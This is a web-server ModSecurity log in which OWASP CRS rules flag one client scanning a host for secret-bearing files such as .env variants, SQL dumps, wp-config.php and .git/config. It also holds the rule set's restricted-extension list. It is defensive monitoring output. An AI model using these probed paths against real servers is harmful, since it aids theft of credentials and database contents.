[Fri Jul 17 08:27:40.093965 2026] [security2:error] [pid 2013831:tid 2013831] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJKhgWo8idb8AQWuZ8gAAABs"]
[Fri Jul 17 08:27:40.169740 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.175.251.203:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaJGidQp3SsqeycPEsqQAAAAo"]
[Fri Jul 17 08:27:40.170012 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaJGidQp3SsqeycPEsqQAAAAo"]
[Fri Jul 17 08:27:40.170344 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaJGidQp3SsqeycPEsqQAAAAo"]
[Fri Jul 17 08:27:40.170723 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJGidQp3SsqeycPEsqQAAAAo"]
[Fri Jul 17 08:27:40.193243 2026] [security2:error] [pid 2013797:tid 2013797] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaJFh1WDijTxd1xw5IyQAAAAc"]
[Fri Jul 17 08:27:40.193485 2026] [security2:error] [pid 2013797:tid 2013797] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaJFh1WDijTxd1xw5IyQAAAAc"]
[Fri Jul 17 08:27:40.193734 2026] [security2:error] [pid 2013797:tid 2013797] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJFh1WDijTxd1xw5IyQAAAAc"]
[Fri Jul 17 08:27:40.398391 2026] [security2:error] [pid 1994446:tid 1994446] [client 35.175.251.203:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaJF2NhE8i6ppze4etuAAAAAs"]
[Fri Jul 17 08:27:40.398928 2026] [security2:error] [pid 1994446:tid 1994446] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaJF2NhE8i6ppze4etuAAAAAs"]
[Fri Jul 17 08:27:40.399330 2026] [security2:error] [pid 1994446:tid 1994446] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJF2NhE8i6ppze4etuAAAAAs"]
[Fri Jul 17 08:27:40.408643 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaJI1dLClkUfK_dfHhYwAAAAI"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:27:40.408703 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaJI1dLClkUfK_dfHhYwAAAAI"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:27:40.433973 2026] [security2:error] [pid 1993604:tid 1993604] [client 35.175.251.203:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaJIha5y5fYnQ1qRrvpAAAAAE"]
[Fri Jul 17 08:27:40.434348 2026] [security2:error] [pid 1993604:tid 1993604] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaJIha5y5fYnQ1qRrvpAAAAAE"]
[Fri Jul 17 08:27:40.434607 2026] [security2:error] [pid 1993604:tid 1993604] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJIha5y5fYnQ1qRrvpAAAAAE"]
[Fri Jul 17 08:27:40.646432 2026] [security2:error] [pid 1993573:tid 1993573] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaJHt8zp89pALg8Q5k9wAAAA4"]
[Fri Jul 17 08:27:40.646683 2026] [security2:error] [pid 1993573:tid 1993573] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaJHt8zp89pALg8Q5k9wAAAA4"]
[Fri Jul 17 08:27:40.646938 2026] [security2:error] [pid 1993573:tid 1993573] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJHt8zp89pALg8Q5k9wAAAA4"]
[Fri Jul 17 08:27:40.665282 2026] [security2:error] [pid 1993659:tid 1993659] [client 35.175.251.203:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaJJOFLENLI63GGOEKHAAAAAQ"]
[Fri Jul 17 08:27:40.665620 2026] [security2:error] [pid 1993659:tid 1993659] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaJJOFLENLI63GGOEKHAAAAAQ"]
[Fri Jul 17 08:27:40.665866 2026] [security2:error] [pid 1993659:tid 1993659] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJJOFLENLI63GGOEKHAAAAAQ"]
[Fri Jul 17 08:27:40.672089 2026] [security2:error] [pid 2013831:tid 2013831] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaJKhgWo8idb8AQWuZ8wAAABs"]
[Fri Jul 17 08:27:40.672355 2026] [security2:error] [pid 2013831:tid 2013831] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaJKhgWo8idb8AQWuZ8wAAABs"]
[Fri Jul 17 08:27:40.672649 2026] [security2:error] [pid 2013831:tid 2013831] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJKhgWo8idb8AQWuZ8wAAABs"]
[Fri Jul 17 08:27:40.684163 2026] [security2:error] [pid 2005917:tid 2005917] [client 35.175.251.203:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaJHf2WrySr2miwA73dQAAABY"]
[Fri Jul 17 08:27:40.684535 2026] [security2:error] [pid 2005917:tid 2005917] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaJHf2WrySr2miwA73dQAAABY"]
[Fri Jul 17 08:27:40.684861 2026] [security2:error] [pid 2005917:tid 2005917] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJHf2WrySr2miwA73dQAAABY"]
[Fri Jul 17 08:27:40.687774 2026] [security2:error] [pid 1994967:tid 1994967] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaJEhq6UAnqYko0LpXKAAAABE"]
[Fri Jul 17 08:27:40.688068 2026] [security2:error] [pid 1994967:tid 1994967] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaJEhq6UAnqYko0LpXKAAAABE"]
[Fri Jul 17 08:27:40.688363 2026] [security2:error] [pid 1994967:tid 1994967] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJEhq6UAnqYko0LpXKAAAABE"]
[Fri Jul 17 08:27:40.715749 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.175.251.203:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaJGidQp3SsqeycPEsqgAAAAo"]
[Fri Jul 17 08:27:40.716139 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaJGidQp3SsqeycPEsqgAAAAo"]
[Fri Jul 17 08:27:40.716401 2026] [security2:error] [pid 1993998:tid 1993998] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJGidQp3SsqeycPEsqgAAAAo"]
[Fri Jul 17 08:27:40.774638 2026] [security2:error] [pid 1993668:tid 1993668] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaJBAi3pC6yjXGNq19LwAAAAU"]
